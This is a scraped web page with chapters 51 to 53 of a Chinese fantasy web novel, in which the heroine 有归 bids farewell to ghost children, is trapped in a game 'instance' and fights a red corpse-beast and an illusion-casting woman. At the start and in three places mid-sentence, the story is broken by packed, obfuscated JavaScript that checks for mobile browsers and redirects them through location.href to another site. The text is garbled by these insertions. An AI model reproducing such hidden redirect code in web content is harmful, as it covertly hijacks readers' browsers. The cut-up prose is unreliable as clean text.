l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623521|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时路,遍地荆棘,早已没有同行之人。 可她还在。 她身后早已空无一人。可一回首,她身后又满是人。 “姐姐,你怎么哭了?”小孩伸着胖乎乎的手臂触碰她的脸,摸到一手泪水。有归一把抱住小孩,把头埋在他怀里,失声痛哭。在黎重周嘉语她们面前,她是队长,是主心骨,是顶梁柱,是靠谱的“大人”。她不能失态,也不能崩,她永远都要稳住。可是她也委屈,她也伤心,她也会无措,但那些会摸着她的头,让她抱着想哭就哭的人早就不在了。 有归这一哭把这些小孩都给哭伤了。第一个小孩全身都被眼泪打湿了,好不容易挣脱出去,有归立马寻到了下一个受害者,熟练地把头一低,继续哭。哭到最后,在场的小孩看到她一动,就立马往后退,生怕被有归逮住。 他们也不明白事情为什么会变成这样,怎么就被反客为主了。 等有归哭够了,小孩们也不敢提让她留下来的事,倒是她自己先说了,“姐姐不能留下来,因为姐姐还有自己的事要做,是很重要的事情。” 小孩们都听得半懂不懂,为首的那个孩子说:“那姐姐可以经常来看我们吗?我们很喜欢和姐姐玩。” 有归摇头,“这个恐怕不行,姐姐不是这里的人,姐姐终究是要回到自己的世界的,没办法时常来看你们。” 她原以为自己的拒绝会让他们恼羞成怒,不是常有这样的情节吗?没有得到满足的怪物生气地现出原形,一口将不识好歹的人类吃掉。更何况这些孩子有那样惨痛的身世。 然而结果出乎她的意料。 “这样啊。”那个孩子扬起笑脸,“那姐姐可以抱抱我们吗?从来,还从来没有人抱过我们呢。” 话音还没落,有归已经张开双手,将她抱在了怀里。那孩子把头靠在她心口的地方,伸手捂住了她的眼睛,“姐姐,闭上眼,不要看。” 有归闭上眼睛,她感受到捂住自己的那双小手带着彻骨的冰凉,怀里这具小小的身体缩的更小了,本来按着腿的那只手失去了目标,贴上了自己的身体。这些孩子,放弃了自己的伪装,以自己最本真、也最丑陋的模样,向她索取第一个怀抱,而这本是每一个孩子降生时天经地义就拥有的东西。 一个温暖的怀抱。 最后一个孩子从有归怀里抬起身体,在她脸上吧唧亲了一口,她说:“谢谢你,姐姐。” 谢谢你,愿意陪我们玩。 谢谢你做的玩具。 谢谢你给我们讲的故事。 谢谢你的眼泪,即便不是为我们而流,却让我们真正地感受到了被需要、被关怀的滋味。 谢谢你不害怕我们的残缺畸形丑陋。 最后,谢谢你的怀抱,谢谢你给予的温暖。 以及,再见了,姐姐。 轰—— 有归豁然睁眼,看见眼前巨大的尸坑燃起了熊熊火焰。火势大到让人无法靠近,偏偏除了尸坑的范围,连尸坑边上的树叶没动一下,依然绿的鲜亮。那些孩子,是不想让她看见他们的样子。他们想要她记得自己最可爱的模样,是一个人,而不是一个怪物。 她一下跪了下来,双手捂着眼睛,然而这一次从指缝间流出的,不是透明的水泽,而是鲜红的血泪。 血红的液体一滴一滴落在地上,落在枯叶上,落在绿草上,很快消失不见。尸坑的火焰烧得更加猛烈,不过一刻钟,火势慢慢小了,最后只留下一个黑乎乎的大坑。 另一边沈凌璧走出家门,去往小楼。 当那些孩子不再执着人之一念,自然会寻求解脱。 她的族人们种下的因果,今日终于被斩断,所有事情都将迎来自己的结局。 孟溪村百年来的罪孽,随着这一把大火,一起烟消云散了。 但,沈凌璧转头看向树木葱郁的后山,总有人记得。 51. 第 51 章 艾莉安和周嘉文看见沈三姑来先是一愣,继而激动异常,当然,这激动之中还带着几分戒备。她们已经知道沈三姑的身体里住着沈凌璧的灵魂,而沈凌璧和住在背山山洞的神兽大蛇是好友,是至交,虽然很离谱,但因为是有归说的,两人也愿意相信她的判断。 只是两人也并不是完全信任沈凌璧,毕竟她们还记得有归对她的质疑,为什么当时不出手救下柳笙和沈希源呢?她明明有能力这么做的,可是她却眼睁睁地看着悲剧发生。还有黎重提出的那个问题,对于沈星星的背刺,神兽大蛇真的没有提前对她预警吗?她一边设计使自己的族人死亡,似乎他们的牺牲举足轻重,可一边又坐视他们的牺牲成为一个笑话。 这样自相矛盾的行为,由不得两人不警惕。 艾莉安特别热情地招呼沈凌璧坐下,然后让周嘉文赶快去烧水泡茶,两人都不是周嘉语那种长袖善舞的类型,也不是有归总有正事和沈凌璧聊,也没有黎重稳得住。她们和沈凌璧说话,声音都在发抖,虽然努力克制住了,但对面的那是什么人啊。 都说人老成精,以沈凌璧活过的年岁来算,她都快可以成仙了。这两年轻人也实在不会掩饰自己,心思浅显的近乎浅溪,她一眼就可以看穿。举起茶杯喝了一口茶水,这才慢悠悠问道:“你一直在拖延时间,是怕我暗中对那两个小辈下毒手?” 两人神情一僵,互相看一眼,忽然发觉自己的反应太明显了,连忙堆笑道:“没有没有,就是想着您难得来一趟,总要好好招呼一下您。” 周嘉文也说:“对对对,昨天是我们打扰您了,嘉语对您多有冒犯,你还那样不计前嫌得帮助我们,我们就是想感激您。” 他这番话一出,立马就被艾莉安拐了一下,周嘉文也知道自己说错话了,只好闭嘴。沈凌璧看着眼前之人,眼中尽是迷惑,不明白为什么他会来到这里。在她的眼里,除了心思一览无余外,识海敞开如在眼前,她只看到一条浅溪。现实中清凌凌的溪水在山间流动,是一道十分美丽的风景,但如果放在她们这些修道之人身上,那就是一件堪称噩梦的事情了。 所谓海纳百川,识海当然是越广阔越好,这样才能容纳更多灵力,更早的凝聚神识,突破高阶,成为大境界者。而且识海生灵基,识海虽然可以靠后天扩容,但广阔的空间才能够给灵基提供足够的生长空间,而灵基的质量决定修行的上限和速度。这就是所谓的天赋。天赋是天生的。 如今世界的根基已毁,天地间灵气消散,人们无法修炼,但这并不代表人们不能利用元素力。相反,正因为少了灵基的要求,反而人人都有可能觉醒成为所谓异能者。只是异能的强大与否,依旧与所谓天赋息息相关,而这天赋和识海挂钩。 沈凌璧怜惜地看着周嘉文,明明有奇遇,该有一番不同凡响的际遇才对。可惜天赋所限,就算吃了那灵果,依旧毫无反应,不像有归的另外两名伙伴,只要她俩能够挺过这一关,很快就会觉醒能力。 她见过周嘉语,那孩子的识海是真真正正波涛汹涌宽广无际,所以昨天才会被盯上。另一个她虽然没有亲眼看见,但想来比周嘉语也不差什么,是两个好苗子,正该好好培养。 沈凌璧一时见猎心喜,浑然忘了现在早就不是那个看重修炼的奇迹时代了,一想到她看中的两个人才现在正在受苦,杯子重重地往桌上一放,语气也没有之前和煦:“你们这样东拉西扯的,以为真的是在保护自己的伙伴吗?现在那两个人都很危险,你们多拖延一分钟她们就离死域更进一步。”死域,奇迹时代的修道者们对于人类灵魂湮灭后的最终归宿的称呼。传说中,死域的地面都由灵魂尘沙铺就,而奇迹中折后,灵魂不再入轮回,死域就成为万物生灵最后的归宿。 她厉声道,“还不让开。” 这一声断喝让两人为之一震,还没等她们回神,身体已经做出了反应,主动让路让沈凌璧去见还在昏迷的黎重周嘉语。两人眼神复杂地看着沈凌璧的背影,对视一眼,百般滋味在心头荡开——她们就这样让沈凌璧进去,到底是对是错? 又想起有归,不知她此行如何,是不是安全? 被两人惦念着的有归此时感觉还好,她在幻境中被那些孩子痴缠了好几日,其实现实时间只过了一个小时。见天还早,她打算先回小楼看看,再去找沈凌璧谈谈。 不过很快,她就觉得自己不好了。 上山时她花了将近二十分钟的时间,按理来说下山应该更快,但时间已经过去了半小时,她还在山上打转。有归环顾一圈,周围都是树,往下再走十分钟,并没有看见孟溪村的屋檐。她停下脚步,试着往左右走几步,都是异常高大的树木。想了想,她转身发力朝山顶狂奔而去,然而无论怎么跑,身边都是一成不变的风景。 她被困在这里了。 有归完全不知道自己是什么时候中招的,还是说,在她踏入后山时她就已经落入了陷阱?不然她无法解释局面为什么会变成这样,她已经足够小心,也从来没有放下过警戒,但还是中招了。 昨天还嘲笑邪神身为神明却只能看着她们把祂的老底都给扒出来了,今天她就被困在这里,这报应来得未免太快了点。 她没有停,依旧在跑着。高山变为了平地,那些异常高大的树木都消失了,取而代之的是一片黑暗。或者说,虚无。看不见天,也看不见地,不见高墙,也不见人影,她脚下是一片虚空。黑,无边无际的黑暗向她压了下来,纯粹的没有一丝光亮的黑暗中,少女独自奔跑着。 这一回,无论向前向后还是向左向右都没有区别了。 但有归却停了下来。 她忽然有一种微妙的感觉,说不清是什么,但这片虚空并非一成不变的虚无,也并非没有边际。她感受到了这虚空中的某个点,与她存在某种特殊的联系,但会是什么地方呢?有归想。 可想而知不会是什么好地方,那个邪神专门趁她落单的时候将她投入虚空,明显是想困死她,怎么会让她轻易逃脱?这是故意针对她而设的局,但有这么做的必要吗?黎重艾莉安和周氏兄妹都是普通人,就算把她们五个人一起放进来,结局也是一样的。 难道她们身上隐藏着什么不为人知的秘密?有归想了想,能被幕后黑手选中参加这场游戏,她们应该都有不凡之处才对,只是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627029|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道特殊在哪。黎重和周嘉语不用多说,俩人现在还在烧,艾莉安和周嘉文或许应该重点挖掘一下。不是有句话嘛,每个人都是潜力股,虽然很心灵鸡汤,但有归相信幕后黑手的眼光。 她哐哐一番推论,得出的结论看上去合情合理,完全没想过自己的大前提就假设错了。 有归闭上眼睛,努力感应那个点的具体方位。前方哪怕是刀山火海她也闯了,就算是下油锅她也认了,只要能离开这个地方。人类对于黑暗的恐惧根植于每个人的内心深处,有归也不例外。甚至比起一般人,她对黑暗的恐惧更加刻骨铭心,当然这要归功于LUO和YIN两人。 中二期两人的一大乐趣就是逗有归,不管是逗哭还是逗笑,特别喜欢给有归讲鬼故事。那时候有归还是一个懵懂的孩子,对世界还没有建立完整的认知,就被两人硬塞进去诸如鬼怪总潜伏于黑暗之中,黑暗是滋生鬼怪的温床等等奇奇怪怪的想法。所以十七岁之前,她都不敢一个人睡觉,不只是心理作用,而是那个时期,真的有人在睡梦中被黑暗里扑出的怪物带走。 LUO和YIN所说的并不是虚无缥缈的故事,而是赤’裸’裸血淋淋的现实。 而现在,那股对于黑暗的惧怕又从她内心深处冒了出来,或许这其中还掺杂着对于悄无声息死去,无人知晓的恐惧。毕竟,在她所设想的终局,人们不会知晓她的姓名,但官方的绝密档案中总要记上一笔,她希望是轰轰烈烈与怪物斗争后壮烈牺牲,而不是“某年某月某日,有归消失,遂不知所踪。” 她忽然睁开了眼睛,找到了,那个点位,就在她的前方。 有归不再犹豫,全力向前奔去。虚无被她踩在脚下,黑暗被她抛在身后,然而前方,仍是一片化不开的浓墨。谁也不知道前方等待着她的是什么,是坦途还是绝境,是生路还是地狱。 她只是奔跑着,不知疲倦地向前跑去,向着完全无法确定的未来,直到跑过某一个点时,仿佛穿越了一道无形的屏障,又或是某个结界似的东西。她听见一声玻璃碎裂似的声响,下一刻,犹如实质的杀气恶龙咆哮般扑上面来,风声肃杀。 不对,这风声里有别的东西! 危险! 身体下意识的反应总是比脑子更快,然而藏在风声里的东西比她还快,身体还未来得及行动,一只手已经抚上了她脆弱的脖颈,虎口正卡在她的喉咙处,手指用力,将她死死钳制住。 与此同时,脑海中响起游戏内置AI女声冰冷的播报: 【恭喜开启SSS级副本女妖的眼泪(最高副本等级为SSS级),本副本为特异事件综合体,不可选中,不可退出。】 【任务目标:通关女妖的眼泪 任务难度:五颗星(满星为五星) 祝您有一个愉快的游戏体验。】 本来是没有情绪的人工智能语音,说到最后,声音居然带上了一点轻松愉悦的语调。 有归:????? 虽然院长爷爷说好孩子不能脏话,但我现在真的很想问候你十八辈祖宗! 坑我你很开心是吧?良心呢?还愉快,愉快你个鬼!!! 52. 第 52 章 脑海里转了八百个念头,实际也就一瞬的事,而在那只手上掐向她的喉咙的时候,有归就已经出手了。她并没有掰对方的手腕,这没什么用,她伸出手指直插对方的眼睛。然而想象中手指没入血肉的血腥场面根本没有出现,她扑了个空。 有归愣了一瞬。 这是怎么回事?对方碰得到自己,自己却无法接触到他?这人到底什么来头,怎么这么古怪?有归立马抬起膝盖向他□□顶去,依然没有碰到任何实体,于是改变动作,向下去垛对方的脚。不出意外的,依旧是无用功。可明明这人就在眼前,借着山洞里微弱的光芒,有归甚至能看清他脸上的表情,冰冷,无情,毫无波澜。虽然手上持续用力,掐的她都快喘不过起来了,但额角连根青筋都没起,就好像捏死她像捏死一只蚂蚁一样简单。 她心中一动,既然攻其要害不起作用,那只好用最原始的方法了。这人其它的部位有归无法触碰,但有一个地方一定可以,那就是此时正在掐住她脖颈的那只手。有归左手捏住他的手腕,右手抠向他的大拇指,抓住,用最大的力气往后掰。 “咔擦”一声轻响,那根大拇指直接被有归掰断,然而并没有鲜血流出来。那人能用一只手钳制住有归,力量自然超乎寻常,但再大的力气也得有处使,现在失了最关键的那根手指,再也没有办法制住她。脖子火辣辣的疼,但有归已经顾不上呼吸一下自由的空气。趁这人还没有反应过来,她两只手都攀上面前这支手臂,牢牢抓住,十指几乎要陷入皮下,手上发力,狠狠往右一拧,生生拽下这人一条胳膊。 面前之人那张假面似的平静面孔终于破裂,他像一头被冒犯了的野兽一般暴怒,原本还算英俊的面容变得狰狞可怖,仿佛恶鬼在世。他怒吼一声,猛地朝有归扑了过来,他来的太快,绕是有归也不及躲避。她索性不躲了,把那只断臂往前一递,这人完好的左手五指正插入断臂中,然后瞅准这一点空隙,向侧边翻滚滚到他的身后,给自己争取到一点点喘息的时间。 有归脑袋都在发木,变故来得太突然了,完全没有反应的时间,她刚刚所做的一切都在凭本能行动。在噩梦乐园刚刚离去,未来时代到来之前的那段时间,有归几乎都在生死之间来回走动。她曾作为战士随同部队参加任务,在世界各处奔波,解决各种异变事件,也曾带队护卫科学家前往事件发生地,寻找异变的源头。她的战友,她的伙伴,都死在了她的前边,都死在了她的面前。 先前有多嫌弃邪神大题小作支开黎重周嘉语她们,此刻有归就有多庆幸,还好,遇到这些事的人只有她自己。 她抬眼扫了眼周围的环境,诧异地发现这里竟然是一处山洞。和祖坟山背面大蛇居住的那处洞窟不同,这山洞高不见顶,只是一片黑暗,最宽处有四五米,最窄的地方也能容三四人并排走过。这让有归有些失望。除此之外,山洞中还刮着阴风,不知道什么原理,这风声像夜猫子的啼哭,又像是恶鬼的嘶吼,凄厉又恐怖。 地面上的碎石尘土被风刮得乱走,这声音也从四面八方传来,还有无法忽视的从正面袭来的杀气! 是刚才袭击她的那个人,他已经甩掉手上的断臂,转身向有归扑来。他速度极快,顷刻而至!有归选的这处地方正在一个拐弯处凸出的那个地方,进可攻退可守,而现在,有归选择就地一滚,躲过这一击。不是她怯懦只知躲避,也不是她自知不敌所以才暂且避其锋芒,这人除了凶悍一些,力气奇大,其实并不难对付。 难的是怎么才能攻击到他。 交手到现在,有归大致能确定眼前这人只是徒有人形,但到底是什么东西就不得而知了,只知道肯定不是人类。这真是一个极坏的消息。不过好消息是,有归自己也不是人。 都不是人,那就手底下见真章,硬碰硬谁输谁赢还不一定呢。但这东西完全是在作弊,他可以碰到有归,有归主动攻击他却只能摸到一堆空气,就像一拳打在棉花上,无从下手。 除非,他先碰到她。 这个并不难,这人刚刚打照面呢,有归都还没看见他他就想至有归于死地,攻击欲望异常强烈,根本不用可以引诱。但他招招致命,每一次都是冲着要有归的命来的,她虽然不是人,但她也没有死过,并不知道自己真的死在这里会不会复活,完全不敢冒险。 她需要找一个恰当的时机,让他主动攻击自己,却无法造成威胁。而反过来,就是有归钳制住他,将他杀死的时候。 猛虎再凶,失去一只利爪战斗力也大打折扣,眼前这人也是一样。 见有归只是一味闪躲,他被彻底激怒了,本来就不见得有多清醒明晰的攻击更加不得章法。此时有归身处的位置是一个死角,凹陷的拐角和正向她扑来的人形成一个三角形把她堵在中间,进退不得,面前的人脸上的表情兴奋得有些扭曲,眼神嗜血,嘴巴也裂开一个笑容。 看似死局,但伏笔早在一开始就埋下了,就是他缺少的那只手!有归脑袋一偏,这人左手五指钢刺似的利爪陷进了山壁,戳出了五个深邃的洞。与此同时,他的身体依旧是向前冲的,并没有收力,迎面撞上了有归斜伸过来的头和肩膀。 除了牙齿,人身上最坚硬的部分就是头骨和肩膀的大块骨头。有归用这两个地方当作武器,来对冲这莽夫的冲击,狭路相逢,就看谁更勇猛了。她已经是玩命了,借助背后山壁的支撑,有归并没有被击倒,反而转守为攻,在这人抽出深陷在崖壁里的指爪的时候,抓住这一瞬的破绽,抬腿攻向他的腰腹,紧接着右臂高举,以臂肘处击向他脆弱的脖颈,将他击倒在地。 不管这东西是什么,只要他还是人的形态,那么攻击这个部位总是没有错的。 砰! 这人倒地的瞬间激起无数尘土,有归被灰尘呛得咳了几声,手下却一点也不敢耽误,直接向这人扑去。一条腿死死地压制着他,双手伸向他的头颅,只要捧住他的头使劲一拧,他脆弱的颈骨瞬间断裂,也就结束了他这罪恶而短暂的一生。 趁你病要你命! 有归的手已经碰到了他的头,然而多年前养成的对于危险的感知发出了警告,从后背到手臂都起了鸡皮疙瘩。她想也不想,一个前滚翻从闪着寒光的利爪下擦过,起身后向后一看,见到了极其难忘的一幕:这人仅剩的左臂竟如橡皮泥一般拉长翻折过来从上方袭击,如果刚才有归慢上一瞬,那五指可以穿透岩石的利爪就像插西瓜一样,插进她的脑袋。 又一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635323|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次与死神擦肩而过。 然而这人的力气变化还不止于此,只见他右臂残缺的伤口处忽然冒出一圈浮沫样的灰色物质,这灰色浮沫吞吸间,竟在那断口处长出一条崭新的手臂。与此同时,他嘶吼着从地面弹起,眨眼间,全身上下竟长出了一曾厚厚的红毛,连脸上都覆盖了同色的毛发,更加看不清其面目。 有归见状倒吸了一口凉气,完全不明白这唱的是哪一出。她活得时间长,听见的看见的东西也多,看见这玩意的第一反应想起了猢狲,但猢狲没这么长的毛,也不是这颜色。然后想到在后奇迹时代广为流传的僵尸,听说僵尸有长绿毛的长白毛的长黑毛的,这红毛的她好像在哪本书里见过,但年代太久远,她看得又杂,一时间竟忘了。 不管是什么吧,这家伙不是人实锤了,现在就是一个红色妖怪。这红妖怪向有归跳来,恶狠狠地探出锋利的怪爪插向她的脑袋,都这种时候了,她还有心思胡思乱想,可见这个精神状态。冷静思考做出应对是不可能的了,更别说她两天一夜都没合眼了,又连番遭遇变故,本就不清醒的脑袋现在更是混成了一滩浆糊。 好在身体的下意识的反应还在,只见她的身体里像是装了弹簧似的,从地上弹起,双脚踹向红怪物的胸口。红怪物被踹飞了出去,力的作用是相互的,有归自己也倒飞了几米远,因为山洞宽度有限,最后双方都撞在坚硬的山壁上。红怪物怎么样有归不知道,她自己被撞的想吐血,刚刚踢得那一脚犹如踢在未来时代精进无数次炼出的精炼钢板上,有归怀疑如果她真的是人类,现在腿骨大概已经折了。 不过虽然疼的死去活来,这疼上加疼的倒是让有归清醒了不少,她想起这玩意是什么了。这东西叫红犼,传说是古尸所化,力大无穷,身硬如铁,最重要的是,这玩意也带毒。要注意别被它伤到。不过这不是重点,重点是她刚才是在和一具尸体在玩命? 红犼:谢邀,玩命的只有你,一具尸体没有命这种奢侈的东西.jgp 知道这是啥玩意有归反倒不怕了,这玩意有形有体,就是力气大了点,身板硬了点,不像刚才看得见摸不着让人心里没谱。 有归把心放了下去,转头就跑。血肉之躯就不要和钢铁躯体硬碰硬了,碰不过,她打算看看能不能找到趁手的武器或者工具。一般来说,有古尸一定有古墓,但这是副本,还是难度五颗星的最高级副本,她有理由相信这只红毛犼只是正式大餐前的开胃小菜。 她决定来一招祸水东引。 这洞窟鬼哭阵阵,前面必定有更厉害的东西在等着她,就让这红毛犼发挥它最后的价值,帮她试探一下下一位出场嘉宾的斤两。 有归拼尽全力向前跑去,她身后,那只红毛犼穷追不舍。一人一尸追逐着跑进洞窟深处,而后,崖壁上山岩剥露,正面现出一座玉石牌坊来,上面书就四个大字:噬梦仙府。 一阵香风吹过,却见这简陋洞窟之中,忽然筑楼起阁,雕梁画栋,玉堆金砌;水泻于岩壁之上,流于花木深处,两边飞楼插空,曲折长廊游于云端之上。白玉铺地,黄金为盘,着纱衣戴金饰的美貌侍女穿梭其间,穿长袍簪鲜花的男乐人抚琴奏乐以衬佳宴。 而这宴会,堪称穷奢极欲。 53. 第 53 章 有归也不知道自己什么时候换了衣裳,是在影像里看见的云上帝国时期上层人士穿的那种宽袍广袖的衣着,不过这衣裳款式以及布料又有所不同,原谅她对此没有研究,说不出到底哪里不同,只是觉得更精致更讲究,布料软软的,很舒服。 她伸手往头上一摸,果然,原本的高马尾现在被挽成了无比精致的发髻,饰以金玉,装点得十分华丽。 有美丽的女侍前来请她入座,有归欣然应允。 除她之外,来参加这宴请的人还真不少,来往的男男女女或是高冠博带,或是华装丽服,总而言之就是盛装出席。他们三三两两结伴同游,或高谈阔论,或轻声细语,目光还是不是地飘向有归。有归觉得自己的感觉应该没有错,这些人都在暗中注意自己。 可是,她又有什么值得关注的呢? 这神仙洞府中异香扑鼻,熏人欲醉,有归皱了皱鼻子,觉得呛得难受,本就不甚清醒的脑袋更加迷糊了。 宴会还未开始,主人家还未露面,有归又无熟人可以攀谈,便专心打量起桌上的糕点。这糕点做得异常小巧精致,放入口中还不会沾染口脂,正适合这样的宴会享用。有归一尝只觉满口香甜,异常可口,她从前吃过的那些饭食宛如泔水。于是便埋头苦吃,一碟子点心不过几块,很快便空了。 那些侍女很有眼色,一个碟子空了,便立马换上一碟新的。又用一个小巧的托盘托着一盏颜色鲜艳的饮品来,那侍女道:“此为群芳髓,乃取百花之精华,又以花叶所带之宿露烹调,方得此一盏。主人命我等奉与贵客品尝。”说着,低垂眉眼将那盏群芳髓放至有归面前。 有归尝了一口,只觉香醇无比,实是人生仅此一次的享受。其他客人目光只落在那盏珍稀无比的群芳髓上一瞬,旋即移开目光,跟身边人耳语几句,交谈如常。 这时,只听两声清脆的掌声,乐人们换过一支曲子,有声音清越的少年人和乐而歌,身着彩霞舞衣的少女们踏着歌声进入,如蝶般翩翩起舞。众宾客都转过身来,目光纷纷落在舞女纤细的腰肢和姣好的面庞上。紧接着又出来一队赤’裸着上身的少男,乐师那边敲着鼓,鼓声浑厚,少年们踩着节奏舞动起来。少女身段柔美,少男舞姿坚毅,二者配合相得益彰,瞬间冲淡了场上的靡靡之气。 众宾客叫好声不断,显得挺没有见识的。见过众多大场面的有归随意看了几眼,就挪开眼睛,托着腮看水边长得挺好的忘忧草。 “客人是不喜欢这乐舞吗?”忽有一女声问道。有归转头,见一女子款款走过来,落座在她身旁。这是一个容色十分出众的女子,眉眼上挑,唇若施朱,唇畔还衔着一缕若有似无的笑。她转头,忽然绽开一个笑,本就艳丽的眉目如花般盛放,不似寻常世间女子,倒像一个多情的妖。 把有归看的一愣一愣的,心说原来还真有人的眼睛会说话,小声道:"这歌舞极妙,只是我不知为何颇觉疲倦,无心欣赏。" 这女子轻挽衣袖,露出一截如凝霜雪的手腕,纤纤玉指托起桌上那盏群芳髓,送到有归唇边,轻启朱唇:“既如此,便多饮几口这群芳髓吧。这群芳髓有助眠之效,客人饮完正好安睡。” 明明是初次见面,却做这样亲近到狎昵的举动,有归几乎都要以为她是要色诱她了。满心不自在,便撇开脑袋,那女子还把杯盏往前送,那盏中红色的液体全部倾倒在她身上。 女子连忙抽出手帕来擦拭,口中连连道歉,又说:“楼上备有干净衣裳,不如姑娘随我去把这换下来。” 准备的还挺周全,就是不知道真到了楼上又要出什么招,有归也懒得再和她虚与委蛇,一把抓住她的手腕,另一只手掐住她的脖颈,道:“说吧,你到底想做什么?” 明明受制于人,女子依旧一派闲适的样子,眼波流转间,忽然笑道:“你从进来开始就一直在做戏?” “你不也在做戏?”有归反问,并没有说明其实她从进入这个副本就察觉到了不对劲。 她的确是两天一夜没合眼了,但这样的强度便是普通人类都可以承受,更遑论有归并不是真的人类。从进入这个副本开始,她的头脑就从来没有清醒的时候,像是被人硬灌进了一团糨糊,堵塞住所有空隙,让她完全没有思考的空间。这是在故意干扰她,这个副本在针对她,或者说,这个副本的BOSS在针对她。 SSS级副本的评级,五星的难度,并不一定就代表着有死无生。或许,这是在提示这不是一个普通的副本,而是活着的,可以被人操控的副本。 那个莫名出现又莫名要至她于死地的人,让有归更加确定了这一点。红毛犼是由死尸异变而成,而这人虽然诡异,但他最开始的时候确确实实并不是一具尸体,她刚进入副本时感受到的浓烈异常的杀气,就是从这人身上发出的。她不知道这人到底是什么东西,但可以确定,后来发生的一系列不可思议的变化,都是被强行扭曲催化的,是人为控制的。 而幕后操控这一切的人,就是眼前的女子。 多傲慢的人啊,她甚至不屑于使用更复杂但更隐蔽的方法,而是选择吓唬、恐吓这种简单粗暴的方式。她从心底就看轻有归,以为故弄玄虚就可以将有归吓住,让有归慌了神失了智。而这时骤然出现一个神仙福地,里面丝竹管弦歌舞升平,再看主人家美丽又温柔,款待周全,是不是恨不得溺死在这温柔乡里不想离开了呢? 金门玉户神仙府,桂殿兰宫妃子家[1]。换做寻常人,说不定这招就奏效了,她的打算原不错,可惜她不了解有归。有归既不贪恋富贵生活,也没有什么痴妄念头,若非如此,她也无法在所有亲近之人离开后,仍选择继续留在这个世界。她已经活过四千年了,人们所惧怕远离的死亡,于有归来说早已是一种解脱。人死后不知是否有魂灵,是否有一个亡者的世界,但只要她选择闭上眼睛,就可以得到最长久安宁的休息。 人们都说难得糊涂,可对极少数人来说,活在虚假的幸福里,不如清醒的痛苦。她是这样,LUO也是这样。这是她们自己选定的路,从不后悔。 有归知道只要自己睁一只眼闭一只眼,假装沉溺在这富贵温柔乡里,或许不仅不用和女子对上,还可以享受一番再安然离去。女子是针对她,但并不想要她的命,有归不知道她想借此证明什么,这样的局,浅显到一眼就可以看透。 虽然问了一个问句,不过有归并不指望她会回答。有归现在只有一个想法,那就是先下手为强,她根本不和女子废话,手上用力,直接捏碎了她脆弱的脖子。女子软塌塌的身体被她甩到一边,这纸醉金迷的神仙洞府之中霎时风云变幻,幻象已经解除,她依然还在那个简陋洞窟之中。 有归看清了,追逐她而来的红毛犼距她不过两三步远,猛地跳到她面前,甩着钢刺似的十根利爪向她扑来,目标是她的头颅。 有归前后左右都没有障碍物,并无周旋的余地,在这种紧急的关头,她却慢悠悠地往左侧滑开一步。说是慢,其实只是相对于红毛犼的攻击速度来说。那利爪擦着她的额头滑过,不待红毛犼收势再攻,下一刻,有归已如闪电般探出双手,将那红毛犼两手钳住,往后一折,身体借力腾空而起,半空中腰身一拧,右腿屈起前伸,狠狠踢向红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639922|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛犼胸膛。 有归这一脚用尽了全力,饶是红毛犼铁皮铜骨,挨这一下直接倒飞了出去。红毛犼是失了智的野兽,不会惧怕,它当即如装了弹簧般从地上弹起,又伸出十根爪子朝有归猛扑了去。有归才刚落地,右腿膝盖一股剧痛袭来,应该是折了,就是不知道是裂了几块还是直接粉碎了,她皱了一下眉,旋即松开。 见红毛犼又攻来,这回她直接俯身躲过,一记扫堂腿将它绊倒,然后猛扑上去,抓住它的两只手将其交叉,使劲一绞,一口银牙几乎咬碎也不见效果。那红毛犼天生力大无比,哪是有归轻易就能钳制住的,当下就要用嘴来咬。有归看它上身将要起势,当即足尖一点,恰从红毛犼头顶翻身而过,落在它背后。 这期间依旧牢牢抓着这野兽的两只手往下压,红毛犼头颅从两手之间的空隙中穿过,只听得一声让人牙酸头疼的咔擦声响,红毛犼两臂被它猛然起身的力道硬生生折断,正挂在它的肩膀之上。 有归双手且酸且麻且痛,方才如果不是她及时松手,估计这两条胳膊也得废。 红毛犼所倚侍者,无非一身铜皮铁骨和力大无穷,托赖这两点,它才能以十指为利器,无往不利,绕是有归也不得不避其锋芒。现在废了它的手,这红毛犼再凶悍,也只是没了爪牙的老虎,只能做困兽之斗。有归稍稍喘息片刻,飞身而起,双脚踹在红毛犼后心,趁它身形不稳将它扑到在地。 既然决定要解决这东西,有归自然不会像之前那般犹豫,当下捏起拳头,一拳接一拳朝这野兽脑袋砸去。人的脑袋既坚硬又脆弱,虽有颅骨保护,里面却又是人体最重要的大脑,只要打碎这层外壳,那就是任尔施为。 